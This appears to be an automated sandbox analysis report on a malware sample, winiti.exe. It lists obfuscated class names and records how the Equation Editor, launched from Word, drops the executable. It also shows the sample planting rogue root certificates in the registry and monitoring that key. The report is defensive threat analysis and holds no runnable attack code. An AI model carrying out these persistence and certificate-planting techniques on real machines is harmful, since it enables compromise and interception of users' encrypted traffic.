Source: 5.2.winiti.exe.37cc870.5.raw.unpack, HJtwWsj8mZcgkhR8CY.cs High entropy of concatenated method names: 'Dispose', 'NsocPAKa0p', 'KCHxEd7Emf', 'R2O11l3QCo', 'kP7cleG0gJ', 'DgFczhfpo9', 'ProcessDialogKey', 'aMcxiLe1PV', 'SUhxcjRYjo', 'xUaxxutoD4'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, B5YNRDX6ACF01eAiIM.cs High entropy of concatenated method names: 'ToString', 'Nsu390Z1BA', 'SaK3ENTDJv', 'hYv3nYwqOF', 'l5p3QpgJcf', 'nxv3fUV4C0', 'Emm3IFGDOo', 'Gci38T8Vuf', 'lfZ3elmMS4', 'SmP3hsFWrT'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, VFbsN9QyklDZced5yE.cs High entropy of concatenated method names: 'XI9ZWFwfw3', 'MB4Zpjy1Dv', 'JydZabIBKP', 'LlDZDr8k0K', 'NVnZg9hrSP', 'psfZMdItIL', 'SuGZVx1T8N', 'vVgZCUskbI', 'hk6skP40O4dnFp3QKhA', 'Ku7SwC4EoRAAoQHc0w5'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, U53X4duKhnr0sejxel.cs High entropy of concatenated method names: 'q9dRqDGSLG', 'XXCRltWufr', 'f9hLiNpZdr', 'mXYLci3loj', 'qU7R9xDhQu', 'NXwR00hpPM', 'YNVRdI8EpX', 'pvERS8IniO', 'oOdRHqhjL0', 'hPORXC46NU'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, gBacBfc2y4FvbqjllAT.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qNcBSa7Y5T', 'KHgBHecyXO', 'lRLBXZcd9H', 'LarBUEe9K9', 'pRWBm6E5qj', 'G32BunBv4O', 'b0vB4PbFXQ'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, l6A1ftxPNHNC6cEnNj.cs High entropy of concatenated method names: 'MVqa9qiYD', 'Sv6DW5jXs', 'ccBgf7sAh', 'osjMMM8ul', 'Ra9VrVpAf', 'CSLCwFUEI', 'TY9Mjc82YuAdgD8rdA', 'yu16YS1rXxrEQugYJi', 'p80LVcEuh', 'DBYBgpLq1'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, gT12ZpCTTqeGReUGbk.cs High entropy of concatenated method names: 'dLLovp63h9', 'W2loMMWpMV', 'R7PynHqqJc', 'Vq8yQJykct', 'ej6yf5RgtJ', 'fudyI4EVAe', 'cH7y8Ru1c8', 'Uc4yeTWctG', 'jusyhnZrry', 'hM3ybR2iyc'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, OLaIZShKLuCmYa6fj7.cs High entropy of concatenated method names: 'u1WNpQWdGg', 'YJ5N6gw1sU', 'gJZNaklB4w', 'xkNNDuXVAC', 'KOkNv2uvko', 't2aNgvY8cw', 'y3UNMD6XNP', 'SgANtVvx2q', 'Pk4NVwtCu7', 'J9mNCWetml'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, VowUMM871Fp8bDemBP.cs High entropy of concatenated method names: 'zg9NYQMDKL', 'gr9NyR2uIg', 'FjPNZeB3hh', 'COPZl1kGnD', 'ROJZzo0OQT', 'n03Ni2bJSi', 'fOPNcmWdZw', 'Ok1NxuDJSn', 'tNTN2HAADS', 'k31NrSbbHO'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, bLe1PVPXUhjRYjopUa.cs High entropy of concatenated method names: 'SyeLk60tW4', 'hPNLEIREsG', 'DteLnPwbjp', 'VScLQyWdfy', 'M89LSDXina', 'yuJLfyVN5w', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, wY0JxeJBuhumsKEEdp.cs High entropy of concatenated method names: 'XVh2Gyi6t8', 'hBk2YctEcf', 'U0F2j1g4Sv', 'Ijo2ytU9fJ', 'LMe2otdIYh', 'gbZ2ZQTjvv', 'rdF2Na0qE8', 'ePD2JuGhHT', 'DY62FcglJh', 'bHI2ABrSVB'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, X7eG0gqJtgFhfpo9cM.cs High entropy of concatenated method names: 'bj1LYGylCf', 'DuILjg4Dy9', 'lWkLyDSM5Q', 'nwLLo67wt3', 'UYyLZuUlC1', 'jFSLN1EsAx', 'OdNLJxlV3l', 'qbVLF7g1mR', 'OjoLAHE5LB', 'xj0LKo2doe'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, bejyHZrHlbbQAjmPBF.cs High entropy of concatenated method names: 'vnqcN1lGeN', 'dqacJ9Rypn', 'zYCcAyZPlc', 'rn4cKFjT12', 'LUGcObk3mR', 'PLOc3IxEnr', 'Vy8Ep7TJOShcrX5SCi', 'TNSZPuxa3W7DKHfEpy', 'Pm1cchrIdn', 'UULc2eXrSk'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, EHf4hJcibXDdIwrcxWa.cs High entropy of concatenated method names: 'GPh5pEEQct', 'G8X5661gvI', 'CZy5a4U08p', 'nZq5DoGqW3', 'qtQ5vDuOw5', 'Dbd5gNEK89', 'gWY5Mrs8GO', 'WPk5tB5Bqy', 'quU5Vp7nWO', 'Vlm5COD7hk'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, yCyWgaVYCyZPlcLn4F.cs High entropy of concatenated method names: 'HAkyDvYNmP', 'SZUygFHJ2Z', 'OB6ytO5xS2', 'FqoyVSWLUw', 'R2gyO81kuG', 'Byny3n9PuV', 'ldIyRO4C0b', 'b3AyLdkjvC', 'lVcy5bsjsd', 'iAyyBye0YT'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, VtoD4klVEdWHcS8xeB.cs High entropy of concatenated method names: 'UKy5cLfb4A', 'pAC520I54m', 'kU65rwnIB8', 'Rn75Y4D6QV', 'V5o5jcNDob', 'kaI5o1TUkf', 'v5r5ZRd5oW', 'RmSL4qW8B5', 'j6vLqtV9OZ', 'OT5LP8RBa3'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, X1lGeNtrqa9RypnK1A.cs High entropy of concatenated method names: 'YgDjSugHe4', 'DT5jH0yfm8', 'KRUjXQ6YTs', 'uAxjUmo3CE', 'P0njm9FbH3', 'WAAjuAM8tH', 'vsej4E0JEX', 'pXUjqZuKT1', 'faUjPRECx7', 'MJEjlVNm5U'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, xVUQskdyggVyKpAr72.cs High entropy of concatenated method names: 'f7vwtj0SC7', 'VPSwVAQLac', 'KCxwkD0K3U', 'q4kwEhbKvQ', 'HqmwQXNXqe', 'Vvkwf2A3la', 'BjBw8A9SUF', 'jA7wek2HYU', 'pQkwbBk9qP', 'Q2kw9F4BSc'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, iRONNpzmxgNG0DqyUV.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'T1m5wH5Yn9', 'c4f5OG4nxb', 'l8l53mMuSI', 'oYl5RVOprX', 'MBE5LPrRa5', 'HqA55jdoXd', 'JZt5BrVR7F'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, pmR0LOkIxEnrctQD2X.cs High entropy of concatenated method names: 'qABZGbaA0y', 'aYfZjSI0TR', 'ElfZoYxmKo', 'BBoZNK6vIh', 'C9IZJ9JLvg', 'lFUomIWgoi', 'APoou49NSs', 'CCNo4uAXLe', 'UbooqD3BQ1', 'hXIoP1GXO3'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, HJtwWsj8mZcgkhR8CY.cs High entropy of concatenated method names: 'Dispose', 'NsocPAKa0p', 'KCHxEd7Emf', 'R2O11l3QCo', 'kP7cleG0gJ', 'DgFczhfpo9', 'ProcessDialogKey', 'aMcxiLe1PV', 'SUhxcjRYjo', 'xUaxxutoD4'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, B5YNRDX6ACF01eAiIM.cs High entropy of concatenated method names: 'ToString', 'Nsu390Z1BA', 'SaK3ENTDJv', 'hYv3nYwqOF', 'l5p3QpgJcf', 'nxv3fUV4C0', 'Emm3IFGDOo', 'Gci38T8Vuf', 'lfZ3elmMS4', 'SmP3hsFWrT'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, VFbsN9QyklDZced5yE.cs High entropy of concatenated method names: 'XI9ZWFwfw3', 'MB4Zpjy1Dv', 'JydZabIBKP', 'LlDZDr8k0K', 'NVnZg9hrSP', 'psfZMdItIL', 'SuGZVx1T8N', 'vVgZCUskbI', 'hk6skP40O4dnFp3QKhA', 'Ku7SwC4EoRAAoQHc0w5'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, U53X4duKhnr0sejxel.cs High entropy of concatenated method names: 'q9dRqDGSLG', 'XXCRltWufr', 'f9hLiNpZdr', 'mXYLci3loj', 'qU7R9xDhQu', 'NXwR00hpPM', 'YNVRdI8EpX', 'pvERS8IniO', 'oOdRHqhjL0', 'hPORXC46NU'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, gBacBfc2y4FvbqjllAT.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qNcBSa7Y5T', 'KHgBHecyXO', 'lRLBXZcd9H', 'LarBUEe9K9', 'pRWBm6E5qj', 'G32BunBv4O', 'b0vB4PbFXQ'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, l6A1ftxPNHNC6cEnNj.cs High entropy of concatenated method names: 'MVqa9qiYD', 'Sv6DW5jXs', 'ccBgf7sAh', 'osjMMM8ul', 'Ra9VrVpAf', 'CSLCwFUEI', 'TY9Mjc82YuAdgD8rdA', 'yu16YS1rXxrEQugYJi', 'p80LVcEuh', 'DBYBgpLq1'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, gT12ZpCTTqeGReUGbk.cs High entropy of concatenated method names: 'dLLovp63h9', 'W2loMMWpMV', 'R7PynHqqJc', 'Vq8yQJykct', 'ej6yf5RgtJ', 'fudyI4EVAe', 'cH7y8Ru1c8', 'Uc4yeTWctG', 'jusyhnZrry', 'hM3ybR2iyc'
Source: 5.2.winiti.exe.384a690.6.raw.unpack, OLaIZShKLuCmYa6fj7.cs High entropy of concatenated method names: 'u1WNpQWdGg', 'YJ5N6gw1sU', 'gJZNaklB4w', 'xkNNDuXVAC', 'KOkNv2uvko', 't2aNgvY8cw', 'y3UNMD6XNP', 'SgANtVvx2q', 'Pk4NVwtCu7', 'J9mNCWetml'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, VowUMM871Fp8bDemBP.cs High entropy of concatenated method names: 'zg9NYQMDKL', 'gr9NyR2uIg', 'FjPNZeB3hh', 'COPZl1kGnD', 'ROJZzo0OQT', 'n03Ni2bJSi', 'fOPNcmWdZw', 'Ok1NxuDJSn', 'tNTN2HAADS', 'k31NrSbbHO'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, bLe1PVPXUhjRYjopUa.cs High entropy of concatenated method names: 'SyeLk60tW4', 'hPNLEIREsG', 'DteLnPwbjp', 'VScLQyWdfy', 'M89LSDXina', 'yuJLfyVN5w', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, wY0JxeJBuhumsKEEdp.cs High entropy of concatenated method names: 'XVh2Gyi6t8', 'hBk2YctEcf', 'U0F2j1g4Sv', 'Ijo2ytU9fJ', 'LMe2otdIYh', 'gbZ2ZQTjvv', 'rdF2Na0qE8', 'ePD2JuGhHT', 'DY62FcglJh', 'bHI2ABrSVB'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, X7eG0gqJtgFhfpo9cM.cs High entropy of concatenated method names: 'bj1LYGylCf', 'DuILjg4Dy9', 'lWkLyDSM5Q', 'nwLLo67wt3', 'UYyLZuUlC1', 'jFSLN1EsAx', 'OdNLJxlV3l', 'qbVLF7g1mR', 'OjoLAHE5LB', 'xj0LKo2doe'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, bejyHZrHlbbQAjmPBF.cs High entropy of concatenated method names: 'vnqcN1lGeN', 'dqacJ9Rypn', 'zYCcAyZPlc', 'rn4cKFjT12', 'LUGcObk3mR', 'PLOc3IxEnr', 'Vy8Ep7TJOShcrX5SCi', 'TNSZPuxa3W7DKHfEpy', 'Pm1cchrIdn', 'UULc2eXrSk'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, EHf4hJcibXDdIwrcxWa.cs High entropy of concatenated method names: 'GPh5pEEQct', 'G8X5661gvI', 'CZy5a4U08p', 'nZq5DoGqW3', 'qtQ5vDuOw5', 'Dbd5gNEK89', 'gWY5Mrs8GO', 'WPk5tB5Bqy', 'quU5Vp7nWO', 'Vlm5COD7hk'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, yCyWgaVYCyZPlcLn4F.cs High entropy of concatenated method names: 'HAkyDvYNmP', 'SZUygFHJ2Z', 'OB6ytO5xS2', 'FqoyVSWLUw', 'R2gyO81kuG', 'Byny3n9PuV', 'ldIyRO4C0b', 'b3AyLdkjvC', 'lVcy5bsjsd', 'iAyyBye0YT'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, VtoD4klVEdWHcS8xeB.cs High entropy of concatenated method names: 'UKy5cLfb4A', 'pAC520I54m', 'kU65rwnIB8', 'Rn75Y4D6QV', 'V5o5jcNDob', 'kaI5o1TUkf', 'v5r5ZRd5oW', 'RmSL4qW8B5', 'j6vLqtV9OZ', 'OT5LP8RBa3'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, X1lGeNtrqa9RypnK1A.cs High entropy of concatenated method names: 'YgDjSugHe4', 'DT5jH0yfm8', 'KRUjXQ6YTs', 'uAxjUmo3CE', 'P0njm9FbH3', 'WAAjuAM8tH', 'vsej4E0JEX', 'pXUjqZuKT1', 'faUjPRECx7', 'MJEjlVNm5U'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, xVUQskdyggVyKpAr72.cs High entropy of concatenated method names: 'f7vwtj0SC7', 'VPSwVAQLac', 'KCxwkD0K3U', 'q4kwEhbKvQ', 'HqmwQXNXqe', 'Vvkwf2A3la', 'BjBw8A9SUF', 'jA7wek2HYU', 'pQkwbBk9qP', 'Q2kw9F4BSc'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, iRONNpzmxgNG0DqyUV.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'T1m5wH5Yn9', 'c4f5OG4nxb', 'l8l53mMuSI', 'oYl5RVOprX', 'MBE5LPrRa5', 'HqA55jdoXd', 'JZt5BrVR7F'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, pmR0LOkIxEnrctQD2X.cs High entropy of concatenated method names: 'qABZGbaA0y', 'aYfZjSI0TR', 'ElfZoYxmKo', 'BBoZNK6vIh', 'C9IZJ9JLvg', 'lFUomIWgoi', 'APoou49NSs', 'CCNo4uAXLe', 'UbooqD3BQ1', 'hXIoP1GXO3'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, HJtwWsj8mZcgkhR8CY.cs High entropy of concatenated method names: 'Dispose', 'NsocPAKa0p', 'KCHxEd7Emf', 'R2O11l3QCo', 'kP7cleG0gJ', 'DgFczhfpo9', 'ProcessDialogKey', 'aMcxiLe1PV', 'SUhxcjRYjo', 'xUaxxutoD4'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, B5YNRDX6ACF01eAiIM.cs High entropy of concatenated method names: 'ToString', 'Nsu390Z1BA', 'SaK3ENTDJv', 'hYv3nYwqOF', 'l5p3QpgJcf', 'nxv3fUV4C0', 'Emm3IFGDOo', 'Gci38T8Vuf', 'lfZ3elmMS4', 'SmP3hsFWrT'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, VFbsN9QyklDZced5yE.cs High entropy of concatenated method names: 'XI9ZWFwfw3', 'MB4Zpjy1Dv', 'JydZabIBKP', 'LlDZDr8k0K', 'NVnZg9hrSP', 'psfZMdItIL', 'SuGZVx1T8N', 'vVgZCUskbI', 'hk6skP40O4dnFp3QKhA', 'Ku7SwC4EoRAAoQHc0w5'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, U53X4duKhnr0sejxel.cs High entropy of concatenated method names: 'q9dRqDGSLG', 'XXCRltWufr', 'f9hLiNpZdr', 'mXYLci3loj', 'qU7R9xDhQu', 'NXwR00hpPM', 'YNVRdI8EpX', 'pvERS8IniO', 'oOdRHqhjL0', 'hPORXC46NU'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, gBacBfc2y4FvbqjllAT.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qNcBSa7Y5T', 'KHgBHecyXO', 'lRLBXZcd9H', 'LarBUEe9K9', 'pRWBm6E5qj', 'G32BunBv4O', 'b0vB4PbFXQ'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, l6A1ftxPNHNC6cEnNj.cs High entropy of concatenated method names: 'MVqa9qiYD', 'Sv6DW5jXs', 'ccBgf7sAh', 'osjMMM8ul', 'Ra9VrVpAf', 'CSLCwFUEI', 'TY9Mjc82YuAdgD8rdA', 'yu16YS1rXxrEQugYJi', 'p80LVcEuh', 'DBYBgpLq1'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, gT12ZpCTTqeGReUGbk.cs High entropy of concatenated method names: 'dLLovp63h9', 'W2loMMWpMV', 'R7PynHqqJc', 'Vq8yQJykct', 'ej6yf5RgtJ', 'fudyI4EVAe', 'cH7y8Ru1c8', 'Uc4yeTWctG', 'jusyhnZrry', 'hM3ybR2iyc'
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, OLaIZShKLuCmYa6fj7.cs High entropy of concatenated method names: 'u1WNpQWdGg', 'YJ5N6gw1sU', 'gJZNaklB4w', 'xkNNDuXVAC', 'KOkNv2uvko', 't2aNgvY8cw', 'y3UNMD6XNP', 'SgANtVvx2q', 'Pk4NVwtCu7', 'J9mNCWetml'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\winiti.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\winiti.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
